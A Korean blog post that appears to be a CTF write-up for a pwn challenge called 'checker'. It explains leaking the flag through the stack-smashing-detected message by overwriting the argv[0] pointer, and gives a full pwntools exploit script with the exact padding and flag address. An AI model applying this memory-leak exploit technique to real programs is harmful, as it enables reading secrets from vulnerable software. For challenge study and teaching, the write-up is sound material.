728x90

요런 문제는 처음 풀어본다!! 재미있었지만 생각하느라 고통받았던 문제! 그래도 재미있다 ㅎㅎ 


Overflow가 있고 카나리에 풀릴로 였다... 고민고민하다가 그냥 대충 프로그램을 터트려봤는데

*** stack smashing detected ***:./checker <- 요렇게 뒤에 argv[0]이 나오는걸 보고 이 argv[0]이 가리키고 있는 주소를 덮어버리면 될거 같다는 생각을 했다. 고래서 해봤더니 맞았다 ㅎㅎ



요렇게 rsp 와 argv[0]를 구한 후






얼마 만큼 차이 나는지 체크



그리고 익스에서 볼 수 있듯이 argv[0]을 한번 \x00으로 쓱 덮어준 후 FLAG아냐고 물을때 "A"*376 + p64(flag) 즉 FLAG의 주소로 덮어주면 


스택스매싱 디텍티드에서 뒤에 ./checker가 아닌 flag가 보일 것이다!! 꿀잼꿀잼 ㅎㅎ


from pwn import *

s = process("./checker")

elf = ELF("./checker")

flag = 0x6010c0


s.recvuntil("What is your name?")
s.sendline("jiwon")

for i in range(0,8):
    s.recvuntil(">> ")
    s.sendline("A"*(384 - i))


s.recvuntil(">> ")
s.sendline("yes")

s.recvuntil("FLAG : ")
s.sendline("A"*376 + p64(flag))



s.interactive()


'PWN > CTF' 카테고리의 다른 글

[PCTF 2015] prodmanager  (0) 2019.01.05
[DefCamp CTF 2016] Warm heap  (0) 2019.01.03
[SECCON 2016] cheer_msg  (0) 2018.12.29
[Sctf 2016] Pwn2  (0) 2018.12.29
[RCTF 2018] Rnote3  (0) 2018.12.25